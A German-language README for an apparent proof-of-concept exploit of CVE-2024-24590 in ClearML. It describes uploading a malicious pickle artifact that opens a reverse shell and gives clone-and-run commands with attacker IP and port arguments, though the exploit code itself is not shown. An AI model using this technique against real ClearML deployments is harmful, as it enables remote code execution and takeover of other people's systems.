
Proof of Concept für CVE-2024-24590
_____ _ __ __ _ _____ ____ _____
/ ____| | | \/ | | | __ \ / __ \ / ____|
| | | | ___ __ _ _ __| \ / | | | |__) | | | | |
| | | |/ _ \/ _` | '__| |\/| | | | ___/| | | | |
| |____| | __/ (_| | | | | | | |____ | | | |__| | |____
\_____|_|\___|\__,_|_| |_| |_|______| |_| \____/ \_____| - 2024-24590 x OxyDe
Dieses Projekt demonstriert, wie man dynamisch ein Pickle-Artefakt mit konfigurierbaren Parametern über Kommandozeilenargumente in ClearML hochlädt. Das Skript initialisiert eine ClearML-Aufgabe, konfiguriert dynamisch einen Befehl zur Ausführung einer Reverse Shell und lädt ihn als Artefakt hoch. (PoC-CVE-2024-24590)
clearml Paketargparse Paketpickle Paketos ModulInstallieren Sie das ClearML-Paket:
pip install clearml
Klonen Sie das Repository:
git clone https://github.com/OxyDeV2/PoC-CVE-2024-24590.git
cd PoC-CVE-2024-24590
Um das Skript auszuführen, verwenden Sie den folgenden Befehl mit den entsprechenden Argumenten:
python script.py --project_name "<project_name>" --task_name "<task_name>" --tags <tag1> <tag2> ... --artifact_name "<artifact_name>" --ip "<ip_address>" --port "<port>"
Dank an Skriix :)